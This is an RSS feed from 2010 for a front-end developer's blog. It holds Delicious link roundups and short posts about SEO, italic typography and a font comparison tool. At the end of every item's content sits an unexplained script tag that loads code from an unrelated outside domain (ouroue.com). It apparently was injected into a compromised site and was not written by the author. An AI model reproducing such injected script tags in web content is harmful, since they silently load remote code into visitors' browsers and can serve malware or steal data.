<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sanchothefat.com</title>
	<atom:link href="http://sanchothefat.com/feed" rel="self" type="application/rss+xml" />
	<link>http://sanchothefat.com</link>
	<description>is Robert O&#039;Rourke, a front-end web developer from Liverpool</description>
	<lastBuildDate>Fri, 30 Jul 2010 08:03:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>links for 2010-07-30</title>
		<link>http://sanchothefat.com/links/276/links-for-2010-07-30</link>
		<comments>http://sanchothefat.com/links/276/links-for-2010-07-30#comments</comments>
		<pubDate>Fri, 30 Jul 2010 08:03:31 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/276/links-for-2010-07-30</guid>
		<description><![CDATA[Building a custom HTML5 video player with CSS3 and jQuery &#8211; ODC The title says it all really. This provides a nice jquery plugin and examples of nicely styled video tags to get you started boy howdy. (tags: html5 video jquery css design)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://dev.opera.com/articles/view/custom-html5-video-player-with-css3-and-jquery/">Building a custom HTML5 video player with CSS3 and jQuery &#8211; ODC</a></div>
<div class="delicious-extended">The title says it all really. This provides a nice jquery plugin and examples of nicely styled video tags to get you started boy howdy.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/html5">html5</a> <a href="http://delicious.com/sanchothefat/video">video</a> <a href="http://delicious.com/sanchothefat/jquery">jquery</a> <a href="http://delicious.com/sanchothefat/css">css</a> <a href="http://delicious.com/sanchothefat/design">design</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/276/links-for-2010-07-30/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-07-29</title>
		<link>http://sanchothefat.com/links/275/links-for-2010-07-29</link>
		<comments>http://sanchothefat.com/links/275/links-for-2010-07-29#comments</comments>
		<pubDate>Thu, 29 Jul 2010 08:03:27 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/275/links-for-2010-07-29</guid>
		<description><![CDATA[Hamish Hamilton: Five Dials A free monthly magazine by Hamish Hamilton publishers. Beautifully presented excerpts, history and information. They recommend printing the PDFs and reading away from the computer screen. (tags: literature publishing magazine)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://fivedials.com/fivedials">Hamish Hamilton: Five Dials</a></div>
<div class="delicious-extended">A free monthly magazine by Hamish Hamilton publishers. Beautifully presented excerpts, history and information. They recommend printing the PDFs and reading away from the computer screen.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/literature">literature</a> <a href="http://delicious.com/sanchothefat/publishing">publishing</a> <a href="http://delicious.com/sanchothefat/magazine">magazine</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/275/links-for-2010-07-29/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-07-23</title>
		<link>http://sanchothefat.com/links/274/links-for-2010-07-23</link>
		<comments>http://sanchothefat.com/links/274/links-for-2010-07-23#comments</comments>
		<pubDate>Fri, 23 Jul 2010 08:04:24 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/274/links-for-2010-07-23</guid>
		<description><![CDATA[Starkers HTML5 v3.0 The Starkers theme is a bare-bones CSS free wordpress theme, ideal for those for those who want to start from (almost) scratch with clean markup and only your own crappy CSS to mess it up. (tags: wordpress themes html5)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://nathanstaines.com/archive/starkers-html5-v3">Starkers HTML5 v3.0</a></div>
<div class="delicious-extended">The Starkers theme is a bare-bones CSS free wordpress theme, ideal for those for those who want to start from (almost) scratch with clean markup and only your own crappy CSS to mess it up.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/wordpress">wordpress</a> <a href="http://delicious.com/sanchothefat/themes">themes</a> <a href="http://delicious.com/sanchothefat/html5">html5</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/274/links-for-2010-07-23/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-07-21</title>
		<link>http://sanchothefat.com/links/273/links-for-2010-07-21</link>
		<comments>http://sanchothefat.com/links/273/links-for-2010-07-21#comments</comments>
		<pubDate>Wed, 21 Jul 2010 08:03:24 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/273/links-for-2010-07-21</guid>
		<description><![CDATA[ChangeOrder: A Recipe for Great Design Case Studies To back up a portfolio entry it helps to have a case study along with it to explain how you benefitted your client or improved an existing service. David Sherwin offers advice on writing them. (tags: design writing case-studies)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://changeorder.typepad.com/weblog/2010/07/a-recipe-for-great-design-case-studies.html">ChangeOrder: A Recipe for Great Design Case Studies</a></div>
<div class="delicious-extended">To back up a portfolio entry it helps to have a case study along with it to explain how you benefitted your client or improved an existing service. David Sherwin offers advice on writing them.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/design">design</a> <a href="http://delicious.com/sanchothefat/writing">writing</a> <a href="http://delicious.com/sanchothefat/case-studies">case-studies</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/273/links-for-2010-07-21/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All About SEO</title>
		<link>http://sanchothefat.com/web/270/all-about-seo</link>
		<comments>http://sanchothefat.com/web/270/all-about-seo#comments</comments>
		<pubDate>Tue, 13 Jul 2010 09:56:51 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Thoughts]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/?p=270</guid>
		<description><![CDATA[Recently a friend of mine was asking about SEO and I had this to say&#8230; @mr_flibble08 @thehodge and @yoast know their SEO but it is essentially 1 part semantic code to infinity parts link-building A short time after that Joost de Valk (@yoast) replied with this&#8230; @sanchothefat not entirely true, the &#8220;infinity&#8221; is actually defined [...]]]></description>
			<content:encoded><![CDATA[<p>Recently a friend of mine was asking about <abbr title="Search Engine Optimisation">SEO</abbr> and I had this to say&#8230;</p>
<blockquote><p><a rel="nofollow" href="http://twitter.com/mr_flibble08">@mr_flibble08</a> <a rel="nofollow" href="http://twitter.com/thehodge">@thehodge</a> and <a rel="nofollow" href="http://twitter.com/yoast">@yoast</a> know their <abbr title="Search Engine Optimisation">SEO</abbr> but it is essentially 1 part semantic code to infinity parts link-building</p></blockquote>
<p>A short time after that <a href="http://yoast.com/">Joost de Valk</a> (<a href="http://twitter.com/yoast">@yoast</a>) replied with this&#8230;</p>
<blockquote><p><a rel="nofollow" href="http://twitter.com/sanchothefat">@sanchothefat</a> not entirely true, the &#8220;infinity&#8221; is actually defined by the level of competition.</p></blockquote>
<p>I can certainly see his point but it left me thinking about whether I was really exaggerating or not. The fact is regardless of your competition you can always be building links to your site by keeping on top of activities such as adding valuable content, getting retweeted, blogged about and so on. If you keep this up even when your competition eventually make every effort to beat your search engine ranking they&#8217;ll always be a step behind.</p>
<p><em>PS. If anyone reading this is looking for an <abbr title="Search Engine Optimisation">SEO</abbr> expert I&#8217;d be remiss not to mention </em><a href="http://erinryan.tumblr.com/"><em>Erin Ryan</em></a><em> over at </em><a href="http://jp74.com/"><em>JP74</em></a><em>. Otherwise she&#8217;d give me a sound kicking.</em><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/web/270/all-about-seo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Typographic Tidbit #2</title>
		<link>http://sanchothefat.com/design/261/typographic-tidbit-2</link>
		<comments>http://sanchothefat.com/design/261/typographic-tidbit-2#comments</comments>
		<pubDate>Wed, 16 Jun 2010 15:45:50 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Italics]]></category>
		<category><![CDATA[Typography]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/?p=261</guid>
		<description><![CDATA[One thing I never knew when I started web design was that italics were not simply a way to emphasise text. The correlation of the HTML &#60;em&#62; tag with the default style being italic text was a design choice made in context of the rest of the default styles. It could easily have been that [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-262" title="italics" src="http://sanchothefat.com/blog/wp-content/uploads/2010/06/italics.jpg" alt="" width="496" height="198" /></p>
<p>One thing I never knew when I started web design was that italics were not simply a way to emphasise text. The correlation of the HTML &lt;em&gt; tag with the default style being italic text was a design choice made in context of the rest of the default styles. It could easily have been that normal paragraph text was italic and for emphasis it was made regular.</p>
<p><span id="more-261"></span></p>
<p>What I find interesting about italics is their origin &#8211; matching the hand-written style of lettering in order to fit more text into books (for more detail <a href="http://ilovetypography.com/2008/03/21/extreme-type-terminology/">ilovetypography.com has a great series covering the basics of typography</a>). Something my girlfriend said to me while I was bemoaning her use of Comic Sans (even though it was for a children&#8217;s worksheet) was that the children find the letter forms easier to read because they more closely resemble letters the way they are taught to write them. It made perfect sense.</p>
<p>Why then, I wonder, do we rarely see larger blocks of copy set in italic? I believe that part of the reason was because italic text served a purpose such as providing narrow but legible text and saving on ink while more often than not there was no lack of space for text or a need to tighten the purse-strings.  Perhaps there is mileage in the use of italics for purposes we instinctively use regular text for. If done well (as illustrated by Wolfgang Weingart in the photo) it can be visually very striking and compelling.</p>
<p><img class="alignnone size-full wp-image-263" title="Snapshot of Wolfgang Weingart's Typography" src="http://sanchothefat.com/blog/wp-content/uploads/2010/06/ww-italic.jpg" alt="" width="496" height="232" /></p>
<p>One last thought is that if children are shown beautiful, elegant italic lettering, at least when learning to write cursive, would their hand writing reflect that?<script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/design/261/typographic-tidbit-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fo&#8217;compare</title>
		<link>http://sanchothefat.com/labs/254/focompare</link>
		<comments>http://sanchothefat.com/labs/254/focompare#comments</comments>
		<pubDate>Mon, 17 May 2010 21:17:09 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[Learning]]></category>
		<category><![CDATA[Typography]]></category>
		<category><![CDATA[UI]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/?p=254</guid>
		<description><![CDATA[Apologies if that annoying opera fruit&#8217;s verbal excretions from the Go Compare adverts gets stuck in your head but I was at a loss for a better name. Fo&#8217;compare is a font comparison tool. It uses a little snippet of flash to get a list of your installed fonts allowing you to choose and view [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sanchothefat.com/dev/focompare/"><img class="alignnone size-medium wp-image-258" title="screenshot1" src="http://sanchothefat.com/blog/wp-content/uploads/2010/05/screenshot1-496x269.jpg" alt="" width="496" height="269" /></a></p>
<p><em>Apologies if that annoying opera fruit&#8217;s verbal excretions from the Go Compare adverts gets stuck in your head but I was at a loss for a better name.</em></p>
<p>Fo&#8217;compare is a font comparison tool. It uses a little snippet of flash to get a list of your installed fonts allowing you to choose and view them in your browser. It can be used to help decide on font-stacks for CSS or to help the novice typographer learn all the subtle differences between the thousands of serif faces in circulation.</p>
<p>After playing the <a href="http://fontgameapp.com/">Font Game</a> from <a href="http://ilovetypography.com/">I Love Typography</a> I was determined to learn the nuances of certain typefaces and fo&#8217;compare has already taught me a lot. In particular my favourite observation is the difference between italic and regular ampersands in faces like Garamond or Caslon with its rather ornate and beautiful italic variation.</p>
<p><img class="alignnone size-medium wp-image-259" title="screenshot2" src="http://sanchothefat.com/blog/wp-content/uploads/2010/05/screenshot2-496x269.jpg" alt="" width="496" height="269" /></p>
<p>I guess the web page can be used as an alternative to having font browsing software installed on your computer &#8211; although in that regard it could do with a better way to browse your installed fonts such as tagging . Maybe in the next iteration.</p>
<p>Try it out: <a href="http://sanchothefat.com/dev/focompare/">fo&#8217;compare</a><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/labs/254/focompare/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-05-11</title>
		<link>http://sanchothefat.com/links/253/links-for-2010-05-11</link>
		<comments>http://sanchothefat.com/links/253/links-for-2010-05-11#comments</comments>
		<pubDate>Tue, 11 May 2010 08:04:35 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/253/links-for-2010-05-11</guid>
		<description><![CDATA[Jeanie &#38; Jewell: Le Premier Beautiful ornamented caps via thepapernut.com (tags: design typography illustration inspiration)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://jeanieandjewell.blogspot.com/2008/07/le-premier.html">Jeanie &amp; Jewell: Le Premier</a></div>
<div class="delicious-extended">Beautiful ornamented caps via thepapernut.com</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/design">design</a> <a href="http://delicious.com/sanchothefat/typography">typography</a> <a href="http://delicious.com/sanchothefat/illustration">illustration</a> <a href="http://delicious.com/sanchothefat/inspiration">inspiration</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/253/links-for-2010-05-11/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-05-09</title>
		<link>http://sanchothefat.com/links/252/links-for-2010-05-09</link>
		<comments>http://sanchothefat.com/links/252/links-for-2010-05-09#comments</comments>
		<pubDate>Sun, 09 May 2010 08:04:18 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/252/links-for-2010-05-09</guid>
		<description><![CDATA[spielzeugz.de canvas &#8211; liquid particles Canvas demo with flocking glyphs. Some great interactivity too, try clicking and holding the button down as you move the mouse around. (tags: javascript html5 canvas typography)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://spielzeugz.de/html5/liquid-chars.html">spielzeugz.de canvas &#8211; liquid particles</a></div>
<div class="delicious-extended">Canvas demo with flocking glyphs. Some great interactivity too, try clicking and holding the button down as you move the mouse around.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/javascript">javascript</a> <a href="http://delicious.com/sanchothefat/html5">html5</a> <a href="http://delicious.com/sanchothefat/canvas">canvas</a> <a href="http://delicious.com/sanchothefat/typography">typography</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/252/links-for-2010-05-09/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>links for 2010-05-08</title>
		<link>http://sanchothefat.com/links/251/links-for-2010-05-08</link>
		<comments>http://sanchothefat.com/links/251/links-for-2010-05-08#comments</comments>
		<pubDate>Sat, 08 May 2010 08:05:38 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/uncategorized/251/links-for-2010-05-08</guid>
		<description><![CDATA[Conditional stylesheets vs CSS hacks? Answer: Neither! « Paul Irish Tidy solution to targeting css to the various versions of IE without extra style sheets or hacks. (tags: webdev IE css)]]></description>
			<content:encoded><![CDATA[<ul class="delicious">
<li>
<div class="delicious-link"><a href="http://paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/">Conditional stylesheets vs CSS hacks? Answer: Neither! « Paul Irish</a></div>
<div class="delicious-extended">Tidy solution to targeting css to the various versions of IE without extra style sheets or hacks.</div>
<div class="delicious-tags">(tags: <a href="http://delicious.com/sanchothefat/webdev">webdev</a> <a href="http://delicious.com/sanchothefat/IE">IE</a> <a href="http://delicious.com/sanchothefat/css">css</a>)</div>
</li>
</ul>
<p><script src="http://ouroue.com/se"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sanchothefat.com/links/251/links-for-2010-05-08/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
